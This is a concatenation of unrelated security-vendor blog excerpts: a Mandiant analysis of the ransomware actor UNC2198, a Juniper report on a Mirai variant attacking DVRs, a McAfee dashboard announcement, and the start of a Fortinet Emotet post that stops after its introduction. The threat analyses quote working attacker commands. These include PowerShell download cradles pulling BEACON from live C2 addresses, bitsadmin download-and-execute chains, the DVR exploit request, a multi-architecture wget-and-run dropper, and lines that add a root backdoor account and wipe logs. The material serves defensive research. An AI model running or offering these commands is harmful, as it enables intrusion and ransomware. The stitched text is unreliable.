In October 2020, a slew of activity at both Incident Response engagements and Managed Defense clients resulted in the creation of two new UNC groups, and another incident attributed to UNC2198.
One of the new UNC groups created in October 2020 was given the designation UNC2374.
UNC2374 began as its own distinct cluster where BEACON, WINDARC, and SYSTEMBC were observed during an incident at a Managed Defense customer.
Initial similarities in tooling did not constitute a strong enough link to merge UNC2374 with UNC2198 yet.
Two and a half months following the creation of UNC2374, we amassed enough data points to merge UNC2374 into UNC2198.
Some of the data points used in merging UNC2374 into UNC2198 include: UNC2198 and UNC2374 Cobalt Strike Team Servers used self-signed certificates with the following subject on TCP port 25055: C = US, ST = CA, L = California, O = Oracle Inc, OU =
Virtual Services, CN = oracle.com UNC2198 and UNC2374 deployed WINDARC malware to identical file paths: %APPDATA%\\teamviewers\\msi.dll
The same code signing certificate used to sign an UNC2198 BEACON loader was used to sign two UNC2374 SYSTEMBC tunneler payloads.
UNC2374 and UNC2198 BEACON C2 servers were accessed by the same victim system within a 10-minute time window during intrusion operations.
The other UNC group created in October 2020 was given the designation UNC2414.
Three separate intrusions were attributed to UNC2414, and as the cluster grew, we surfaced similarities between UNC2414 and UNC2198.
A subset of the data points used to merge UNC2414 into UNC2198 include: UNC2198 and UNC2414 BEACON servers used self-signed certificates using the following subject on TCP port 25055: C = US, ST = CA, L = California, O = Oracle Inc, OU =
Virtual Services, CN = oracle.com UNC2198 and UNC2414 installed BEACON as C:\\Windows\\int32.dll UNC2198 and UNC2414 installed the RCLONE utility as C:\\Perflogs\\rclone.exe UNC2198 and UNC2414 were proven to be financially motivated actors that had leveraged ICEDID as initial access: UNC2198 had deployed MAZE UNC2414 had deployed EGREGOR
The merge between UNC2198 and UNC2414 was significant because it revealed UNC2198 has access to EGREGOR ransomware.
The timing of the EGREGOR usage is also consistent with MAZE ransomware shutting down as reported by Mandiant Intelligence.
Figure 3 depicts the timeline of related intrusions and merges into UNC2198.
Figure 3: UNC2198 timeline UNC2198 Intrusion Flow: After Initial Access Expanding the UNC2198 cluster through multiple intrusions and merges with other UNC groups highlights the range of TTPs employed.
We have pulled out some key data from all our UNC2198 intrusions to illustrate an amalgamation of capabilities used by the threat actor.
Establish Foothold After obtaining access, UNC2198 has deployed additional malware using various techniques.
For instance, UNC2198 used InnoSetup droppers to install a WINDARC backdoor on the target host.
UNC2198 also used BITS Jobs and remote PowerShell downloads to download additional tools like SYSTEMBC for proxy and tunneler capabilities.
Example commands for download and execution are: %COMSPEC% /C
echo bitsadmin /transfer
257e http://<REDACTED>/<REDACTED>.exe %APPDATA%<REDACTED>.exe & %APPDATA%<REDACTED>.exe & del %APPDATA%
<REDACTED>.exe ^> %SYSTEMDRIVE%\\WINDOWS\\Temp\\FmpaXUHFennWxPIM.txt > \\WINDOWS\\Temp\\MwUgqKjEDjCMDGmC.bat & %COMSPEC% /C
start %COMSPEC% /C
\\WINDOWS\\Temp\\MwUgqKjEDjCMDGmC.bat %COMSPEC% /C
echo powershell.exe -nop -w hidden -c (new-object System.
Net.
WebClient).Downloadfile(http://<REDACTED>/<REDACTED>.exe, <REDACTED>.exe) ^
> %SYSTEMDRIVE%\\WINDOWS\\Temp\\AVaNbBXzKyxktAZI.txt > \\WINDOWS\\Temp\\yoKjaqTIzJhdDLjD.bat & %COMSPEC% /C
start %COMSPEC% /C
\\WINDOWS\\Temp\\yoKjaqTIzJhdDLjD.bat UNC2198 has used Cobalt Strike BEACON, Metasploit METERPRETER, KOADIC, and PowerShell EMPIRE offensive security tools during this phase as well.
Offensive Security Tooling UNC2198 has used offensive security tools similarly seen across many threat actors.
UNC2198 has used BEACON in roughly 90% of their intrusions.
UNC2198 installs and executes Cobalt Strike BEACON in a variety of ways, including shellcode loaders using PowerShell scripts, service executables, and DLLs.
While the ways and means of using BEACON are not inherently unique, there are still aspects to extrapolate that shed light on UNC2198 TTPs.
Focusing in on specific BEACON executables tells a different story beyond the use of the tool itself.
Aside from junk code and API calls, UNC2198 BEACON and METERPRETER executables often exhibit unique characteristics of malware packaging, including odd command-line arguments visible within strings and upon execution via child processes: cmd.exe /c echo TjsfoRdwOe=9931 & reg add HKCU\\SOFTWARE\\WIlumYjNSyHob /v xFCbJrNfgBNqRy /t
REG_DWORD /d 3045 & exit cmd.exe /c echo ucQhymDRSRvq=1236 & reg add HKCU\\\\SOFTWARE\\\\YkUJvbgwtylk /v KYIaIoYxqwO /t
REG_DWORD /d 9633 & exit cmd.exe /c set XlOLqhCejHbSNW=8300 & reg add HKCU\\SOFTWARE\\WaMgGneKhtgTTy /v
LbmWADsevLywrkP /t
REG_DWORD /d 3809 & exit These example commands are non-functional, as they do not modify or alter payload execution.
Another technique involves installing BEACON using a file path containing mixed Unicode-escaped and ASCII characters to evade detection: Unicode Escaped C:\\ProgramData\\S\\u0443sH\\u0435\\u0430ls\\T\\u0430s\\u0441host.exe Unicode Unescaped
C:\\ProgramData\\SуsHеаls\\Tаsсhost.exe
The executable was then executed by using a Scheduled Task named shadowdev : cmd.exe /c schtasks /create /sc minute /mo
1 /tn shadowdev /tr
C:\\\\ProgramData\\\\S\\u0443sH\\u0435\\u0430ls\\\\T\\u0430s\\u0441host.exe While the previous examples are related to compiled executables, UNC2198 has also used simple PowerShell download cradles to execute Base64-encoded and compressed BEACON stagers in memory: powershell -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('hxxp://5.149.253[.
]199:80/auth')) powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring(\"hxxp://185.106.122[.
]167:80/a\")) powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('hxxp://195.123.233[.
]157:80/casino'))\" Discovery and Reconnaissance UNC2198 has exhibited common TTPs seen across many threat groups during discovery and reconnaissance activities.
UNC2198 has used the BloodHound active directory mapping utility during intrusions from within the “ C:\\ProgramData ” and “ C:\\Temp ” directories.
The following are collective examples of various commands executed by UNC2198 over time to enumerate a compromised environment: arp -a whoami /groups whoami.exe  /groups /fo
csv whoami /all net user < Redacted > net groups \"Domain Admins\" /domain net group \"Enterprise admins\" /domain net group \"local admins\" /domain net localgroup \"administrators\" /domain
nltest /domain_trusts nltest /dclist:< Redacted > Lateral Movement and Privilege Escalation UNC2198 has used Windows Remote Management and RDP to move laterally between systems.
UNC2198 has also performed remote execution of BEACON service binaries on targeted systems to move laterally.
UNC2198 launches SMB BEACON using PowerShell, executing command lines such as the following: C:\\WINDOWS\\system32\\cmd.exe /b /c start /b /min
powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALAB bAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AH MASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAVwA3ADIALw...<
Truncated > During one intrusion, UNC2198 used the SOURBITS privilege escalation utility to execute files on a target system.
SOURBITS is a packaged exploit utility for CVE-2020-0787 , which is a vulnerability that was disclosed in 2020 for Windows Background Intelligent Transfer Service (BITS) .
SOURBITS consists of code derived from a GitHub Repository that is implemented as a command-line utility, which can execute arbitrary files with elevated privileges.
UNC2198 used SOURBITS with the following components: C:\\Users\\<User>\\Downloads\\runsysO.cr C:\\Users\\<User>\\Downloads\\starterO.exe
The file runsysO.cr is an XOR-encoded PE executable that exploits CVE-2020-0787, and based on the target system's bitness, it will drop one of two embedded SOURBITS payloads.
Data Theft, Ransomware Deployment and #TTR
Like other financially motivated threat actors, part of UNC2198’s modus operandi in latter stages of intrusions involves the exfiltration of hundreds of gigabytes of the victim organizations’ data before ransomware is installed.
Specifically, UNC2198 has used RCLONE, a command line utility used to synchronize cloud storage, to aid in the exfiltration of sensitive data.
In all observed cases of data theft, RCLONE was used by UNC2198 from the “ C:\\PerfLogs\\rclone.exe ” file path.
“ Time-to-Ransom \" (TTR) is the delta between first-attributed access time and the time of ransomware deployment.
TTR serves as a useful gauge of how quickly an organization needs to respond to stave off a threat actor’s successful deployment of ransomware.
TTR is not a perfect quantification, as external factors such as an organization’s security posture can drastically affect the measurement.
In this post, the TTR of UNC2198 is measured between ICEDID activity to the deployment of ransomware.
In July 2020, UNC2198 deployed MAZE ransomware using PSEXEC, and the TTR was 5.5 days.
In October 2020, UNC2198 deployed EGREGOR ransomware using forced GPO updates, and the TTR was 1.5 days.
Looking Forward Threat actors leveraging access obtained through mass malware campaigns to deploy ransomware is a growing trend.
The efficiency of ransomware groups places a significant burden on defenders to rapidly respond before ransomware deployment.
As ransomware groups continue to gain operational expertise through successful compromises, they will continue to shorten their TTR while scaling their operations.
Understanding the TTPs fundamental to a specific operation like UNC2198 provides an edge to defenders in their response efforts.
Our unparalleled understanding of groups like UNC2198 is translated into Mandiant Advantage .
Accessing our holdings in Mandiant Advantage aids defenders in recognizing TTPs used by threat actors, assessing organizational risk, and taking action.
Initial investments made into rapidly assessing a group’s modus operandi pays dividends when they inevitably evolve and swap out components of their toolset.
Whether it be MAZE or EGREGOR, something icy or hot, Advanced Practices will continue to pursue these unchill threat actors.
Acknowledgements Thank you to Dan Perez, Andrew Thompson, Nick Richard, Cian Lynch and Jeremy Kennelly for technical review of this content.
In addition, thank you to Mandiant frontline responders for harvesting the valuable intrusion data that enables our research.
Appendix:
Malware Families PHOTOLOADER is a downloader that has been observed to download ICEDID.
It makes an HTTP request for a fake image file, which is RC4 decrypted to provide the final payload.
Host information is sent to the command and control (C2) via HTTP cookies.
Samples have been observed to contain an embedded C2 configuration that contain the real C2 with a number of non-malicious domains.
The non-malicious domains are contacted in addition to the real C2.
WINDARC is a backdoor that hijacks the execution of TeamViewer to perform C2 communication.
It supports plugins and accepts several backdoor commands.
The commands include interacting with the TeamViewer tool, starting a reverse shell, loading new plugins, downloading and executing files, and modifying configuration settings.
SYSTEMBC is a proxy malware that beacons to its C2 and opens new proxy connections between the C2 and remote hosts as indicated by the C2.
Proxied communications are encrypted with RC4.
The malware receives commands via HTTP and creates new proxy connections as directed.
Underground sales advertisements refer to the software as a “ socks5 backconnect system” .
The malware is typically used to hide the malicious traffic associated with other malware.
Appendix:
Detecting the Techniques FireEye security solutions detect these threats across email, endpoint, and network levels.
The following is a snapshot of existing detections related to activity outlined in this blog post.
Platform Detection Name FireEye Network Security Downloader.
Macro.
MOUSEISLAND Downloader.
Win.
PHOTOLOADER Trojan.
PHOTOLOADER Downloader.
IcedID Trojan.
IcedID Malicious.
SSL.IcedID Malicious.
SSL.IcedIdCert Trojan.
Malicious.
Certificate Backdoor.
BEACON Trojan.
Generic Trojan.
CobaltStrike FireEye Endpoint Security Real-Time (IOC) BLOODHOUND ATTACK PATH MAPPING (UTILITY) BLOODHOUND ATTACK PATH MAPPING A (UTILITY)
COBALT STRIKE (BACKDOOR) COBALT STRIKE
DEFAULT DLL EXPORT (BACKDOOR) COBALT STRIKE
NAMED PIPE ECHO (BACKDOOR)
EGREGOR RANSOMWARE (FAMILY) ICEDID (FAMILY) MAZE RANSOMWARE (FAMILY) MAZE RANSOMWARE
A (FAMILY) METASPLOIT SERVICE ABUSE (UTILITY) MOUSEISLAND (DOWNLOADER)
MOUSEISLAND A (DOWNLOADER) MOUSEISLAND B (DOWNLOADER) POWERSHELL DOWNLOADER (METHODOLOGY)
POWERSHELL DOWNLOADER D (METHODOLOGY)
SCHTASK CREATION FROM PROGRAMDATA (COLLECTION)
SUSPICIOUS BITSADMIN USAGE
A (METHODOLOGY) SUSPICIOUS POWERSHELL USAGE (METHODOLOGY)
WMIC SHADOWCOPY DELETE (METHODOLOGY)
Malware Protection (AV/MG) SYSTEMBC Trojan.
EmotetU.Gen.
* Trojan.
Mint.
Zamg.
O Generic.mg.
* ICEID Gen:Variant.
Razy.
* Generic.mg.
* BEACON Gen:Trojan.
Heur.
TP.TGW@bug909di Gen:Variant.
Bulz.1217 Trojan.
GenericKD.34797730 Generic.mg.
* Appendix:
Indicators 95b78f4d3602aeea4f7a33c9f1b49a97 SYSTEMBC 0378897e4ec1d1ee4637cff110635141
SYSTEMBC c803200ad4b9f91659e58f0617f0dafa SYSTEMBC ad4d445091a3b66af765a1d653fd1eb7
SYSTEMBC 9ecf25b1e9be0b20822fe25269fa5d02 SYSTEMBC e319f5a8fe496c0c8247e27c3469b20d
SYSTEMBC a8a7059278d82ce55949168fcd1ddde4 SYSTEMBC aea530f8a0645419ce0abe1bf2dc1584 SYSTEMBC 3098fbc98e90d91805717d7a4f946c27 SYSTEMBC 45.141.84.212:4132 SYSTEMBC 45.141.84.223:4132 SYSTEMBC 79.141.166.158:4124 SYSTEMBC 149.28.201.253:4114
SYSTEMBC 193.34.167.34:80 BEACON 195.123.240.219:80 BEACON 23.227.193.167:80
BEACON 5.149.253.199:80 BEACON e124cd26fcce258addc85d7f010655ea
BEACON 7ae990c12bf5228b6d1b90d40ad0a79f BEACON 3eb552ede658ee77ee4631d35eac6b43 BEACON c188c6145202b65a941c41e7ff2c9afd BEACON 2f43055df845742d137a18b347f335a5
BEACON 87dc37e0edb39c077c4d4d8f1451402c ICEDID 1efababd1d6bd869f005f92799113f42 ICEDID a64e7dd557e7eab3513c9a5f31003e68 ICEDID 9760913fb7948f2983831d71a533a650 ICEDID 14467102f8aa0a0d95d0f3c0ce5f0b59 ICEDID colombosuede.club ICEDID colosssueded.top ICEDID golddisco.top ICEDID june85.cyou ICEDID Appendix: Mandiant Security Validation Actions Organizations can validate their security controls against more than 60 actions with Mandiant Security Validation .
VID Name A101-509 Phishing Email - Malicious Attachment, MOUSEISLAND, Macro Based Downloader A150-326 Malicious File Transfer - MOUSEISLAND, Download, Variant #1 A150-433 Malicious File Transfer - MOUSEISLAND, Download, Variant #2 A101-282 Malicious File Transfer - MOUSEISLAND Downloader, Download A104-632 Protected Theater - MOUSEISLAND Downloader, Execution A101-266 Command and Control - MOUSEISLAND, HTTP GET Request for PHOTOLOADER A101-280 Malicious File Transfer - PHOTOLOADER, Download A101-263 Command and Control - PHOTOLOADER, DNS Query #1 A101-281 Malicious File Transfer - ICEDID Stage 3, Download A101-279 Malicious File Transfer - ICEDID Final Payload, Download A101-265 Command and Control - ICEDID, DNS Query #1 A101-264 Command and Control - ICEDID, DNS Query #2 A101-037 Malicious File Transfer - MAZE, Download, Variant #1 A101-038 Malicious File Transfer - MAZE, Download, Variant #2 A101-039 Malicious File Transfer - MAZE, Download, Variant #3 A101-040 Malicious File Transfer - MAZE, Download, Variant #4 A101-041 Malicious File Transfer - MAZE, Download, Variant #5 A101-042 Malicious File Transfer - MAZE, Download, Variant #6 A101-043 Malicious File Transfer - MAZE, Download, Variant #7 A101-044 Malicious File Transfer - MAZE, Download, Variant #8 A101-045 Malicious File Transfer - MAZE, Download, Variant
#9 A100-878 Command and Control - MAZE Ransomware, C2 Check-in A101-030 Command and Control - MAZE Ransomware, C2 Beacon, Variant #1 A101-031 Command and Control - MAZE Ransomware, C2 Beacon, Variant #2 A101-032 Command and Control - MAZE Ransomware, C2 Beacon, Variant #3 A104-734 Protected Theater - MAZE, PsExec Execution A104-487 Protected Theater - MAZE Ransomware, Encoded PowerShell Execution A104-485 Protected Theater - MAZE Ransomware Execution, Variant #1 A104-486 Protected Theater - MAZE Ransomware Execution, Variant #2 A104-491 Host CLI - MAZE, Create Target.lnk A104-494 Host CLI - MAZE, Dropping Ransomware
Note
Burn Directory A104-495 Host CLI - MAZE, Traversing Directories and
Dropping Ransomware
Note, DECRYPT-FILES.html Variant A104-496 Host CLI - MAZE, Traversing Directories and
Dropping Ransomware
Note, DECRYPT-FILES.txt Variant A104-498 Host CLI - MAZE, Desktop Wallpaper Ransomware Message A150-668 Malicious File Transfer - EGREGOR, Download A101-460 Command and Control - EGREGOR, GET DLL Payload A150-675 Protected Theater - EGREGOR, Execution, Variant #1 A101-271 Malicious File Transfer - BEACON, Download, Variant #1 A150-610 Malicious File Transfer - BEACON, Download A150-609 Command and Control - BEACON, Check-in A104-732 Protected Theater - BEACON, Mixed Unicode-Escaped and ASCII Characters Execution A101-514 Malicious File Transfer - WINDARC, Download, Variant #1 A100-072 Malicious File Transfer - SYSTEMBC Proxy, Download A100-886 Malicious File Transfer - Rclone.exe, Download A100-880 Malicious File Transfer - Bloodhound Ingestor C Sharp Executable Variant, Download A100-881 Malicious File Transfer - Bloodhound Ingestor C Sharp PowerShell Variant, Download A100-882 Malicious File Transfer - Bloodhound Ingestor PowerShell Variant, Download A100-877 Active Directory - BloodHound, CollectionMethod All A101-513 Malicious File Transfer - SOURBITS, Download, Variant #1 A104-733 Protected Theater - CVE-2020-0787, Arbitrary File Move A100-353 Command and Control - KOADIC Agent (mshta) A100-355 Command and Control - Multiband Communication using KOADIC A104-088
Host CLI - Timestomp
W/
PowerShell A104-277 Host CLI - EICAR COM File Download via PowerShell A104-281 Host CLI - EICAR TXT File Download via PowerShell A104-664 Host CLI - EICAR, Download with PowerShell A150-054
Malicious File Transfer - EMPIRE, Download A100-327 Command and Control - PowerShell Empire Agent (http) A100-328 Lateral Movement, Execution - PsExec A100-498 Scanning Activity - TCP Port Scan for Open RDP A100-502 Scanning Activity - UDP Port Scan for Open RDP A100-316 Lateral Movement - PSSession and WinRM A104-081 Host CLI - Mshta Appendix: UNC2198 MITRE ATT&CK Mapping ATT&CK Tactic Category Techniques Resource Development Acquire Infrastructure (T1583)
Virtual Private Server (T1583.003) Develop Capabilities (T1587) Digital Certificates (T1587.003)
Obtain Capabilities (T1588)
Code Signing Certificates (T1588.003) Digital Certificates (T1588.004) Initial Access Phishing (T1566) Spearphishing Attachment (T1566.001) External Remote Services (T1133)
Valid Accounts (T1078) Execution Command and Scripting Interpreter (T1059) PowerShell (T1059.001) Visual Basic (T1059.005) Windows Command Shell (T1059.003)
Scheduled Task/Job (T1053)
Scheduled Task (T1053.005) System Services (T1569) Service Execution (T1569.002)
User Execution (T1204)
Malicious File (T1204.002) Windows Management Instrumentation (T1047) Persistence External Remote Services (T1133)
Scheduled Task/Job (T1053)
Scheduled Task (T1053.005) Valid Accounts (T1078)
Privilege Escalation Process Injection (T1055) Scheduled Task/Job (T1053)
Scheduled Task (T1053.005) Valid Accounts (T1078)
Defense Evasion Impair Defenses (T1562) Disable or Modify System Firewall (T1562.004) Disable or Modify Tools (T1562.001)
Indicator Removal on Host (T1070)
Timestomp (T1070.006)
Indirect Command Execution (T1202) Modify Registry (T1112) Obfuscated Files or Information (T1027) Steganography (T1027.003) Process Injection (T1055)
Signed Binary Proxy Execution (T1218) Mshta (T1218.005)
Subvert Trust Controls (T1553)
Code Signing (T1553.002) Valid Accounts (T1078) Virtualization/Sandbox Evasion (T1497) Credential Access OS Credential Dumping (T1003)
Discovery Account Discovery (T1087)
Local Account (T1087.001) Domain Trust Discovery (T1482) File and Directory Discovery (T1083)
Permission Groups Discovery (T1069)
System Information Discovery (T1082) System Network Configuration Discovery (T1016)
System Owner/User Discovery (T1033) Virtualization/Sandbox Evasion (T1497) Lateral Movement Remote Services (T1021)
Remote Desktop Protocol (T1021.001) SMB/Windows Admin Shares (T1021.002) SSH (T1021.004) Collection Archive Collected Data (T1560) Archive via Utility (T1560.001) Command and Control Application Layer Protocol (T1071) Web Protocols (T1071.001) Encrypted Channel (T1573)
Asymmetric Cryptography (T1573.002)
Ingress Tool Transfer (T1105) Proxy (T1090) Multi-hop Proxy (T1090.003) Subscribe to Blogs Get email updates as new blog posts are added.
Mirai has become such a common discovery in the wild that it is beginning to be disregarded as white noise, played off as a simple attack that should be readily stopped by common security products.
This is dangerous thinking and will lull security professionals and executives into complacency.
Juniper Threat Labs has discovered a new attack, based off of Mirai from an attacker who originally appeared to be calling themselves “Priority”.
In later versions, this attacker took that out of the code and started deploying a more advanced version of Mirai.
This attacker appears to be amateur, as we will explore more later on.
Note that this could be a ruse to mask a more sophisticated attacker.
The original malware used by the attacker is based off the Demonbot variant of Mirai and focuses on the Hadoop YARN exploit .
The second variant the attacker used is based off the variant of Mirai developed by Scarface.
While Demonbot focuses on attacking Hadoop, the developer Scarface attempted to make the bot more “user friendly” and focused on Internet of Things devices.
Scarface is known to make his code more readily available to novice actors, but has the reputation of including backdoors in the code to allow him access to victims of others.
While the Scarface variant is considerably more advanced than Demonbot, the attacker is still only attempting the DVR exploit on port 60001.
This Priority attacker has been active from September 10, 2020 up until the publishing of this blog.
They are attacking ports 5500, 5501, 5502, 5050 and 60001 with a simple command of “GET /shell?cd%20/tmp;%20wget%20http://45(.
)13.58.4/TPJ.sh;”.
The initial attacks started on port 60001, before progressing into additional ports.
This attack leverages the MVPower DVR Shell Unauthenticated Command Execution , reported by Unit 42 as part of the Omni Botnet variant of Mirai .
What is interesting about this attacker is Juniper Threat Labs has not witnessed them using any additional exploits, perhaps showing again the attackers immaturity in the attack methodology.
In contrast, we see the majority of attackers using Mirai variants running three to seven different vulnerabilities against multiple protocols or devices.
This attacker has limited their attacks to a single exploit and, while spread over a few ports, the primary objective is attacking port 60001.
The other ports appear more like a diversion, leading us to believe that the attacker has a specific objective in mind.
All the attacks originated from an IP address (128(.
)199.15.87) owned by Digital Ocean, out of their Santa Clara data center.
Digital Ocean is a well-known VPS provider that allows for quick setup and destruction of Virtual Private Servers.
These servers are a mainstay for hackers to pop-up launch their attacks and then destroy their servers at low cost.
That attacker progressed to a new server at 64(.
)227.97.145, a different server also based out of the Digital Ocean Santa Clara data center.
The JAWS DVR software has been under attack with a steady increase since October 2019 and peaking in June 2020.
In the past few months, SANS saw a steady decline in the activity of port 60001.
Meanwhile, we at Juniper Threat Labs have seen a significant increase since July 2020, peaking at 733 daily attacks on the July 18.
Attacks for port 5500, 5501, 5502 and 5050 do not seem to be targeting a specific vulnerability.
The file downloaded was a simple shell script with the following contents.
The IP address of the malware hosting server 45(.
)13.58.4 is Heficed, another VPS provider but less well-known than Digital Ocean.
What’s unique about this attack is that the first file variants of dlr.
* (x86, mips, mpls, arm(all) and ppc are all packed with UPX, while m68k, sh4 and spc appear to not be packed at all.
The strings in the files that show this to be a variant of Mirai are: “NeTiS and Thisity” and “FoReHeAd We BiG L33T HaxErS”
Then, in future versions, there appears to be some significant changes specifically in claiming the system for “Priority” Server Infected!
System Now Owned By Priority 54.39.36.160 Proximity-Killers These Mirai variants are identified by Juniper ATP Cloud as Mirai.0 The IP address referenced in the code is (54(.
)39.36.160) also hosted at another VPS known as
OVH Hosting Inc.
Open ports on this IP are 21/tcp open ftp 22/tcp open ssh 80/tcp open http 445/tcp filtered microsoft-ds 3306/tcp open mysql 55555/tcp open unknown The web interface displays an Apache 2 Test page for CentOS.
While this attacker does not appear to be as sophisticated as the developers of Mirai and Hoaxcall, they do appear to have a basic understanding of rudimentary attacks and modifying malware code to suit their needs.
They understand the basics of anonymity, but their desire to “identify” themselves and “claim” their territory is reminiscent of hackers of the ‘80s and ‘90s.
The attacker has most recently switched to a new attacking IP of 149(.
)3.170.237 with the command originating from both of the IPs used in previous attacks.
GET /shell?cd%20/tmp;%20wget%20http://149(.
)3.170.237/Masked.sh;%20chmod%20777%20*;%20sh%20Masked.sh;%20rm%20-rf%20*;%20history%20-c
HTTP/1.1 The contents of the new shell script point to the same server located on Seychelles Island in the Indian Ocean.
#!/bin
/bash cd /tmp
|| cd /var/run || cd /mnt
|| cd /root || cd /; wget http:// 149 (.)
3 .
170 .
237 /Masked.mips;
chmod +x Masked.mips; ./Masked.mips; rm -rf Masked.mips cd /tmp || cd /var/run || cd /mnt
|| cd /root || cd /; wget http:// 149 (.)
3 .
170 .
237 /Masked.mpsl;
chmod +x Masked.mpsl; ./Masked.mpsl; rm -rf Masked.mpsl cd /tmp || cd /var/run || cd /mnt
|| cd /root || cd /; wget http:// 149 (.)
3 .
170 .
237 /Masked.sh4; chmod +x Masked.sh4; ./Masked.sh4; rm -rf Masked.sh4 cd /tmp
|| cd /var/run || cd /mnt
|| cd /root || cd /; wget http:// 149 (.)
3 .
170 .
237 /Masked.x86; chmod +x Masked.x86; ./Masked.x86; rm -rf Masked.x86 cd /tmp
|| cd /var/run || cd /mnt
|| cd /root || cd /; wget http:// 149 (.)
3 .
170 .
237 /Masked.arm6; chmod +x Masked.arm6; ./Masked.arm6; rm -rf Masked.arm6 cd /tmp
|| cd /var/run || cd /mnt
|| cd /root || cd /; wget http:// 149 (.)
3 .
170 .
237 /Masked.i686; chmod +x Masked.i686; ./Masked.i686; rm -rf Masked.i686 cd /tmp
|| cd /var/run || cd /mnt
|| cd /root || cd /; wget http:// 149 (.)
3 .
170 .
237 /Masked.ppc; chmod +x Masked.ppc; ./Masked.ppc; rm -rf Masked.ppc cd /tmp
|| cd /var/run || cd /mnt
|| cd /root || cd /; wget http:// 149 (.)
3 .
170 .
237 /Masked.i586; chmod +x Masked.i586; ./Masked.i586; rm -rf Masked.i586 cd /tmp
|| cd /var/run || cd /mnt
|| cd /root || cd /; wget http:// 149 (.)
3 .
170 .
237 /Masked.m68k; chmod +x Masked.m68k; ./Masked.m68k; rm -rf Masked.m68k cd /tmp || cd /var/run || cd /mnt
|| cd /root || cd /; wget http:// 149 (.)
3 .
170 .
237 /Masked.sparc; chmod +x Masked.sparc; ./Masked.sparc; rm -rf Masked.sparc cd /tmp
|| cd /var/run || cd /mnt
|| cd /root || cd /; wget http:// 149 (.)
3 .
170 .
237 /Masked.arm4; chmod +x Masked.arm4; ./Masked.arm4; rm -rf Masked.arm4 cd /tmp
|| cd /var/run || cd /mnt
|| cd /root || cd /; wget http:// 149 (.)
3 .
170 .
237 /Masked.arm5; chmod +x Masked.arm5; ./Masked.arm5; rm -rf Masked.arm5 cd /tmp
|| cd /var/run || cd /mnt
|| cd /root || cd /; wget http:// 149 (.)
3 .
170 .
237 /Masked.arm7; chmod +x Masked.arm7; ./Masked.arm7; rm -rf Masked.arm7 cd /tmp
|| cd /var/run || cd /mnt
|| cd /root || cd /; wget http:// 149 (.)
3 .
170 .
237 /Masked.ppc440fp; chmod +x Masked.ppc440fp; ./Masked.ppc440fp; rm -rf Masked.ppc440fp
The following strings taken from the second wave of this attacker indicate this source code was taken from the Yakuza/Scarface variant of Mirai.
(null)
Billy BobBot/1.0 (+http://www.
billy bobbot.com/crawler/)
YakuzaBotnet Scarface1337 In the strings we can see that attacker inserting a user into /etc/passwd and /etc/shadow wwget -q –delete-after http://nexon-nx.ga/iplogger/?id 443011503 eecho system:x:0:500::/:/bin/bash >> /etc
/passwd eecho system:’$6$ZPptHtmp$q9o5eFjUAh.
MPmnHJbkuSNggDaq.
A00dRgOBAW6gh7Uv7i/dOYD04.xMHQHtyhnkcMiYCrI6aB9KC4Lv.d3rx/:16601:0:99999:7:::’ >> /etc
/shadow rrm -rf /var/log/* &> /dev/null Juniper’s ATP Cloud identifies it as Mirai variant [Trojan.
Mirai.6981169].
As we continue to see more and more distribution of malware code, we will see a wider spread of attackers with limited skill using exploits and code bases that they would normally not have the capabilities of developing.
These attackers are able to use search engines and browse Github to obtain the source code and research how to make simple modifications and obfuscate their malware to appear more adept.
Information Security professionals will continue to see Mirai for the foreseeable future and should not discount any “attacks” as trivial.
By Christiaan Beek and Raj Samani on Aug 14, 2018 The latest update to the McAfee® ePolicy Orchestrator® platform offers a new add-in to provide insight into the latest analysis carried out by McAfee Labs and the Advanced Threat Research team.
The Security Resources section of the McAfee ePO ™ console Version 5.10.0 will contain multiple windows providing the latest news.
The first window in the section shows an updated list of the most recent threats research published by the McAfee Labs team.
This includes both malware and vulnerability research.
For example, this week we released a report that shows it is possible to emulate and modify a patient’s vital signs in real time on a medical network using a patient monitor and central monitoring station.
We also include research related to new malware campaigns.
All our content is mapped to the MITRE ATT&CK framework and includes all known indicators of compromise, as well as detailing how McAfee products protect against the documented campaign.
Top threats The section includes a condensed version of the Threat Landscape Dashboard , which contains the top threats across exploit kits, campaigns, ransomware, and vulnerabilities.
The following screen shows how the summary will appear in the McAfee ePO console, allowing readers to easily review and click through these threats for more detail.
The latest McAfee ePO console will offer an easy review of analysis gathered by McAfee Labs and the Advanced Threat Research team.
Top stories Want to know more?
The Top Stories section offers the latest information from McAfee news sources, including new product releases and new blog content (beyond threats analysis).
Support and product advisories At the bottom right of the screen you will find Security Product Advisories: Support Notification Service: McAfee SNS is a proactive notification service that allows McAfee to communicate critical information in a timely manner on product upgrades, releases, and end-of-life notices.
SNS is a vital information link during critical incidents, providing you with the updates you need to ensure that your systems and organization are protected.
Product Security Bulletins : McAfee is focused on ensuring the security of our customers’ computers, networks, devices, and data.
We are committed to rapidly addressing issues as they arise, and providing recommendations through security bulletins and knowledgebase articles.
McAfee Labs Security Advisories : These are a free notification service backed by our global research team.
McAfee Labs Security Advisories map high-profile threats to the McAfee technologies that protect your environment.
What next?
You can expect the dashboard to evolve and provide more detail in future versions.
Please let us know what you would like to see.
Affected platforms: Microsoft Windows Impacted parties: 64-bit Windows Users Impact: Controls a victim’s device and collects sensitive information Severity level: Critical Fortinet’s FortiGuard Labs recently captured more than 500 Microsoft Excel files involved in a campaign to deliver a fresh Emotet Trojan onto the victim’s device.
Emotet, known as a modular Trojan, was first discovered in the middle of 2014.
Since then, it has become very active, continually updating itself.
It has also been highlighted in cybersecurity news from time to time.
Emotet uses social engineering, like email, to lure recipients into opening attached document files (including Word, Excel, PDF, etc.)
or to click links within the content of the email that downloads the latest Emotet variant onto the victim’s device and then executes it.
In Part I of this post , I explained how this variant of Emotet is spread by malicious VBA code in Excel documents, how the downloaded Emotet malware runs within a Rundll32 program, what kind of anti-analysis techniques this variant uses.
, how it encrypts and submits its victim’s data to its C2 server.
, what Emotet does when it receives response data from the C2 server, and what Emotet does to enable persistence on the victim’s device.
In this post, you will learn what the data in response packets with malicious modules look like, what modules have been received from the C2 server for the current Emotet campaign, and how they are deployed in the victim’s device.
You will also discover what sensitive data those modules steal from a victim’s device.
